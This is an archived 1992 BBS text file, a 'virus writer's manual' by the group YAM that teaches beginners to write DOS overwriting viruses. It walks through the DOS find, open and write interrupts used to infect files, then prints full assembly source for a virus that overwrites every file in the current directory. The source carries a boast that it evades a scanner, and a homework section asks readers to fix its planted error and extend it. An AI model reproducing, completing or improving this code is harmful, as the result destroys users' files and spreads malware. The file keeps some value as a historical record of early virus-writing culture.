home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / texts / term_papers / yam-1.txt < prev    next >
Text File  |  1995-03-31  |  20KB  |  421 lines

  1.  
  2.                ___    ___     __________     _____________
  3.               /   |  |   \   /    __    \   /             \
  4.              |    |  |    | |    /  \    | |               |
  5.              |    |_/     | |    \__/    | |               |
  6.              |            | |            | |    ||   ||    |
  7.               \______     | |     __     | |    ||   ||    |
  8.                      \    | |     ||     | |    | \_/ |    |
  9.               ________|   | |     ||     | |    |     |    |
  10.              /            | |     ||     | |    |     |    |
  11.             |____________/   \___/  \___/   \__/       \__/
  12.  
  13.                         ■ Youngsters Against McAfee ■
  14.                                    Present
  15.  
  16.                               An Intro to Virii
  17.                                      and
  18.                         How to write Overwriting Virii
  19.  
  20.                      Part I of an on going series of the
  21.                    Totally Whacked Out Virus Writer's Manual
  22.                               By Admiral Bailey [YAM]
  23.  
  24.   ______________
  25. --| Disclaimer |------------------------------------------------------------
  26.   ~~~~~~~~~~~~~~
  27.   I am not responsible for any damage that is done by this text file or that
  28. some person was encouraged to create a virii because they read this manual.
  29. I have written this for study purposes only.  Like John McAfee writing virii
  30. for his study purposes.
  31.   ___________________
  32. --| Copyright Stuff |-(C)opyrite 1992---------------------------------------
  33.   ~~~~~~~~~~~~~~~~~~~
  34.   I am giving this thing out to only those that are privileged enough to get
  35. the Password from a YAM member.  By asking and getting the password you
  36. agree that you will not give the password to anybody else and you will keep
  37. it a secret.  This text file is Copywriter by me.  If you tamper with it
  38. in any way and distribute it as your own I will not be able to do anything
  39. legal about it.  But i can do something just as bad.  So don't even think
  40. about it.
  41.  
  42. Now onto the good stuff...
  43.  
  44.   ________________
  45. --| Introduction |----------------------------------------------------------
  46.   ~~~~~~~~~~~~~~~~
  47.   As you already know this is part one of an ongoing series of different
  48. things to do with virii.  The current file (Overwriting virii) is just the
  49. first file of the total collection.  The first few pages will be very boring
  50. because this manual is aimed at the novice group of virii programmers.
  51. Basically that's why I started with over writers.  We all need to start
  52. somewhere.
  53.   Now for this manual and every following manual you will need the
  54. following:
  55.  
  56.         ■ A Knowledge of assembler.  Not a lot but not too little.
  57.         ■ An Assembler.  All code (if any) given will be fully compatible
  58.           with TASM 2.0.  I also recommend TASM 2.0 because its the best.
  59.  
  60.   Whatever else is up to you.
  61.  
  62.                           __________________________
  63.                           | Why Am I Writing This? |
  64.                           ~~~~~~~~~~~~~~~~~~~~~~~~~~
  65.   Why?  Well because as I was learning this stuff I had no where to go for
  66. help.  I asked other people but what they told me sounded like greek.  There
  67. is no book you could buy with this and every other text file I have read
  68. didn't have a clear enough explanation on the topic.  So here is a complete
  69. manual with loads of detail.  Stuff that I wanted to know when I was starting
  70. out.  It may not be the best way to do these things but its the way that I
  71. learned and use now.
  72.  
  73.                              ___________________
  74.                              | What are virii? |
  75.                              ~~~~~~~~~~~~~~~~~~~
  76.   Before anyone can create a virus they must first know what a virus is.
  77. Well in general terms a virus is a small (or some large) computer program
  78. that spread around computer systems by copying itself on the end of other
  79. programs so that the virus is run first instead and control is returned to
  80. the original (host) file.  Some may think that this is not a problem.  Well
  81. it actually is.  Most virii either annoy the user (not allowing them to use
  82. their computer or slowing it down), do damage to the computer (format the
  83. hard drive, erase files, corrupt files ect.), or some may just spread taking
  84. up hard drive space as it infects every executable file.  Most people get the
  85. terms virus and trojan mixed up.  They think that they are both the same
  86. things when actually they aren't.  A virus is just like i explained above as a
  87. trojan is a program that will do harmful damage to a computer as it is run.
  88.  
  89.                _______________________________________________
  90.                | What Type of Virus Are We Going to Discuss? |
  91.                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  92.   In this manual we are going to start with one of the easiest less
  93. complicated type of virus know as the Overwriting Virus.  Its basically
  94. called this because instead of it attaching onto the end of a file it will
  95. overwrite the beginning of the file with a copy of itself.  Therefore when
  96. the host file is run only the virus will be executed and the host file will
  97. be destroyed.  This type of virus has its good points and its bad points.
  98. Some of the good points are:
  99.  
  100.         ■ its easy to make
  101.         ■ it does not change the file size of the host file
  102.         ■ it causes data corruption
  103.  
  104. Some of the bad points are:
  105.  
  106.         ■ it destroys the host file there making the user suspect a virus has
  107.           hit him. (lack of stealth)
  108.         ■ its so primitive that every lame user will now they got hit when
  109.           they receive a out of memory message or some shit like that.
  110.         ■ it wont last long on a system because users will have to keep
  111.           replacing the corrupted files with new ones.
  112.  
  113.   So we could just use these type of virii as a stepping stone until we learn
  114. something better like com/exe infectors.
  115.  
  116.                            _______________________
  117.                            | What Will You Need? |
  118.                            ~~~~~~~~~~~~~~~~~~~~~~~
  119.   You don't need much to create your first virus.  Everything you should be
  120. able to find on your local pirate board or if not get it off your local PD
  121. board.  Whichever but just as long as you get the stuff
  122.   To create your very first virus you will need all of the following:
  123.  
  124.         ■ TASM (Latest Version).  Its the best!
  125.         ■ Knowledge of assembly.  Duh!? Whats Dat???
  126.  
  127.   That's it at the basic's but if you want more here are some recommendations:
  128.  
  129.         ■ Any source code that you can use to help you.  (Take a look at the
  130.           Seneca 1 virus.)
  131.         ■ A good debugger.  A lot of people like turbo debugger but
  132.           personally I like debug because its quick and simple.
  133.         ■ Ralph Browns Interrupt list.  Its pretty big (1 meg).  But it has
  134.           almost every interrupt that you can call on a computer and its getting
  135.           bigger.  Even has some undocumented calls.
  136.         ■ Any virus mag.  I personally like NUKE's because it has a lot of
  137.           info in it.  But Evolution is still on top. :)
  138.         ■ Sourcer so you can get a commented source of other virii that you
  139.           have.
  140.         ■ And samples of other overwriting virii.  That you can sourcer and
  141.           learn from.
  142.  
  143.   Anything else as I said before is up to you.
  144.  
  145.   _____________________
  146. --| Let's Get Writing |----------------------------------------------------------
  147.   ~~~~~~~~~~~~~~~~~~~~~
  148.   Before we start I just have to say that the virus that i will use as an
  149. example will be completely stripped.  That means it will not restore the
  150. original dates/attributes or anything else.  It will infect all the virii in the
  151. current directory.  Il write more manuals on stuff like that.
  152.   First i am going to show you a flow chart of what the basic outline of
  153. execution should be.  From there we will work.
  154.  
  155.                      ┌─────┐
  156.                      │Start│
  157.                      └─────┘
  158.                         │
  159.                      ┌─────────┐
  160.                   ┌──│Find file│
  161.                   │  └─────────┘
  162.                   │     
  163.                   │  ┌─────────┐   Nope    ┌───────────────┐      ┌─────┐
  164.                   │  │Any found│───────────│Display message│──────│Quit!│
  165.                   │  └─────────┘           └───────────────┘      └─────┘
  166.                   │     │ Yup
  167.                   │  ┌───────┐
  168.                   │  │Open It│
  169.                   │  └───────┘
  170.                   │     │
  171.                   │  ┌───────────────┐
  172.                   │  │Copy Self On to│
  173.                     │   Beginning   │
  174.                   │  └───────────────┘
  175.                   │     │
  176.                   │  ┌──────────────┐
  177.                   │  │  Close File  │
  178.                   │  │& find another│
  179.                   │  └──────────────┘
  180.                   └──────────┘
  181.  
  182.   The flowchart is quite obvious.  Just follow through it and you will get
  183. the idea of how this type of virus will work.  Now lets get into some code.
  184.  
  185.                        ________________________________
  186.                        | Finding The First/Next File? |
  187.                        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  188.   This will be quit simple to explain.  Its the part that finds the first
  189. file in the directory.  There are two different types of procedure that is
  190. used to find files.  The first one finds the first file.  The second one find
  191. the next and on files using the info in the DTA (Data Transfer Area, will be
  192. explained later.).  They are pretty self explanatory and are as follows:
  193.  
  194. Find First:  AX = 4Eh                ; Find first command
  195.              DX = Offset of filetype ; Holds the file type to look for
  196.                                      ; ex. '*.exe',0
  197.              CX = attributes on files to look for.  We will set this to zero
  198.                   using the xor command because we wont want to remove any
  199.                   attributes off of read only files.
  200.  
  201. Find Next :  AX = 4Fh                ; that's all you need because then it
  202.                                      ; gets the rest of the info from the dta
  203.  
  204.   After filling these you execute interrupt 21h as usual.
  205.  
  206.                              ____________________
  207.                              | What Is the DTA? |
  208.                              ~~~~~~~~~~~~~~~~~~~~
  209.   DTA (Short for Data Transfer Area) is an area in the coding that holds
  210. information for different reasons.  For example if a program need command
  211. line parameters like:
  212.  
  213.                  Scan C:
  214.                       ^------ Command line parameter
  215.  
  216.   It stores these parameters in the DTA so that the program can read these
  217. later.  It also holds information about a file when using the find first/next
  218. commands.  The DTA starts at offset 80h and when the find first/next command
  219. is called it fills the DTA as follows:
  220.  
  221.                Offset  Size    Info Held
  222.                      |       |
  223.                 15h  | BYTE  | attribute of file found
  224.                 16h  | WORD  | file time
  225.                      |       |      bits 11-15: hour
  226.                      |       |      bits 5-10:  minute
  227.                      |       |      bits 0-4:   seconds/2
  228.                 18h  | WORD  | file date
  229.                      |       |      bits 9-15:  year-1980
  230.                      |       |      bits 5-8:   month
  231.                      |       |      bits 0-4:   day
  232.                 1Ah  | DWORD | file size
  233.                 1Eh  | 13ByT | ASCIIZ filename+extension
  234.  
  235.   Since the DTA starts at 80h you must add 80h to the offset in order to get
  236. a value.  For example to get the file date you use :
  237.  
  238.                 Mov     ax,[80h+18h] ; put the file date into ax
  239.  
  240.                           _________________________
  241.                           | The Infection Process |
  242.                           ~~~~~~~~~~~~~~~~~~~~~~~~~
  243.   Now that you have found your file you have to infect it.  To do this you
  244. have to :
  245.  
  246.         ■ Open the file
  247.         ■ Write virus over the beginning of file
  248.         ■ Close file
  249.  
  250.   As easy as that.  To open the file you use the open file command.
  251.  
  252. Open File : AH = 3DH                    ; open file command
  253.             AL = 02h                    ; open for read/writing
  254.             DX = holds location of asciiz filename from the DTA
  255.                  use the mothod explained under DTA
  256.  
  257.   Now after it is opened you do a :
  258.  
  259.                 XCHG    AX,BX
  260.  
  261.   What that does is exchange the values in the ax and bx registers.  When
  262. the file is opened it puts the file handle (explained below) into bx.  Why
  263. well whenever you execute an interrupt that works with a file handle it
  264. always wants the file handle in bx.  So its easier to just put it in there
  265. now and get it over with.  But make sure you always save this handle and
  266. never loose it or your file infection is screwed.  So never replace bx while
  267. a file is open!
  268.   Now after opening the file the file pointer is at the beginning of the
  269. file.  The file pointer just points to the location in the file you will
  270. either write to or read from.  All you have to do now is write to the file
  271. using the write to file command.
  272.  
  273. Write To File : AH = 40h                ; write to file command
  274.                 BX = has file handle    ; already there
  275.                 DX = 100h               ; location in our file to start
  276.                                           writing from.  Set at 100h because
  277.                                           that's the start of all com files.
  278.                 CX = file size          ; can be calculated by subtracting
  279.                                         ; the top of the file from the end.
  280.                                         ; this tells the number of bytes to
  281.                                         ; write
  282.  
  283.   Now you close the file using the close file command.
  284.  
  285. Close File : AH = 3Eh                   ; close file command
  286.              BX = File handle
  287.  
  288.   After you close the file you jump to find another file.  If you cant find
  289. another file then you can display a message and quit.  (See an example
  290. below.)  The reason we don't check for previous infections is because if it
  291. was previously infected then the virus will just write over itself.  So there
  292. is no real need.  That's all there is to the infection process.
  293.  
  294.                                ________________
  295.                                | File Handles |
  296.                                ~~~~~~~~~~~~~~~~
  297.   File handles are just a temporary number that is given to every file when
  298. they are opened.  Its easier working with a file handle then using the file
  299. name every time.  You must NEVER erase your file handle in your program while
  300. a file is open or else it the program will crash because it doesn't know what
  301. file to work with.  So always save by pushing it on the stack with a push bx
  302. whenever you need to use the bx register.
  303.  
  304.                               __________________
  305.                               | Error Checking |
  306.                               ~~~~~~~~~~~~~~~~~~
  307.   I haven't touched too much on error checking for one reason.  It won't take
  308. long.  Basically when you execute a command when opening the file ect... you
  309. can check if an error occurred by do a JC Quit command.  When an error occurs
  310. a carry flag is set.  So the JC command means jump if carry.  So if an error
  311. occurs jump and you can close the file and find another.  Easy.
  312.  
  313.   ______________
  314. --| An Example |------------------------------------------------------------
  315.   ~~~~~~~~~~~~~~
  316.   Below is just an example of an overwriting virus.  As of scan 97 it is
  317. unscannable.  It may not be fully functional. (I don't just want people
  318. compiling it and calling it there's so i put in an error.)  HINT: The error
  319. may be with opening the file for the first time.
  320.  
  321. ;
  322. ; Written by Admiral Bailey
  323. ; YAM - Youngsters Against Mcafee
  324. ;
  325.  
  326. code    segment
  327.         assume  ds:code, ss:code, cs:code, es:code
  328.         org     100h                    ;Make it a .com file
  329.  
  330.  
  331. seneca:                                 ; marker for the beginning of virus
  332.         mov     dx,offset file_type     ;Load the type of file to look for
  333.         mov     ah,4eh                  ;Find first file command
  334.         xor     cx,cx                   ;Clear cx find only normal files
  335.         int     21h
  336.         jc      quit                    ;if none found quit
  337.         jmp     infect                  ;if found then infect                    
  338.                 
  339. find_next_file:                         
  340.         mov     ah,4fh                  ;find next file command
  341.         int     21h                     ;do it
  342.         cmp     ax,12h                  ;any more files?
  343.         je      quit                    ;nope then quit
  344.         jmp     infect                  ;yup then infect
  345.  
  346. quit:
  347.         mov     ah,9                    ; display message command
  348.         mov     dx,offset message       ; location of the message
  349.         int     21h
  350.  
  351.         int     20h                     ; halt program
  352.  
  353. infect:
  354.         mov     ax,3d02h                ; open file read/write
  355.         mov     dx,80h+1eh              ; file name location in DTA
  356.         int     21h                     ; do it
  357.         jc      findnextfile            ; if error find another file
  358.                                         ; why not close first? Well the file
  359.                                         ; never got opened to begin with
  360.         xchg    bx,ax                   ; put the handle into bx
  361.  
  362.         mov     cx,virus_end-seneca     ; put size of virus in cx
  363.         mov     dx,100h                 ; where to start writing from
  364.         mov     ah,40h                  ; write to file command
  365.         int     21h
  366.  
  367. closefile:
  368.         mov     ah,3eh                  ; close the file
  369.         int     21h
  370.         jmp     find_next_file          ;now find another file 
  371.  
  372. message db      'Hey Look Its An Overwriting Virus',13,10
  373.         db      'WOW!!!!',13,10
  374.         db      'And BTW this file is screwed',13,10,'$'
  375.  
  376. file_type       db      '*.*',0 ; get every file
  377.  
  378. virus_end       equ     $               ; marker for the end of the virus
  379.  
  380. code    ends
  381.  
  382.         end     seneca
  383.  
  384.  
  385.   _____________
  386. --| Home Work |-------------------------------------------------------------
  387.   ~~~~~~~~~~~~~
  388.   If you want something to do then take the above virus fix the error and
  389. then build it up.  Do stuff like make it save attributes, time/date stamp
  390. whatever.  If you can't then I may be releasing a file on doing things like
  391. that.
  392.  
  393.   ______________
  394. --| Conclusion |------------------------------------------------------------
  395.   ~~~~~~~~~~~~~~
  396.   In conclusion I would just like to say if this manual helped you any then
  397. let me know.  It will encourage me to write more.  Future topics that I am
  398. going to release are:
  399.  
  400.         ■ COM Infection
  401.         ■ Extras You Can Add on to virii
  402.         ■ Encryption using the xor method (This ones almost done)
  403.         ■ EXE Infection
  404.         ■ Different Ways Of Killing The Computer
  405.         ■ Debug Killing techniques
  406.  
  407.   And more as I learn.  Before I go I wanna send out some greats :
  408.  
  409.         NUKE : Love the Info journals (and virii)
  410.         Dark Angel : Hope this gets up there with your phunky virus writing
  411.                      guide.
  412.         Phalcon/Skism : What is there to say but Whats up?!
  413.         John McAfee : Just helping out your job a bit. :)  Remember me
  414.                       when the money starts rolling' in.
  415.  
  416.                                                 Admiral Bailey [YAM]
  417.  
  418.  
  419.  
  420.  
  421.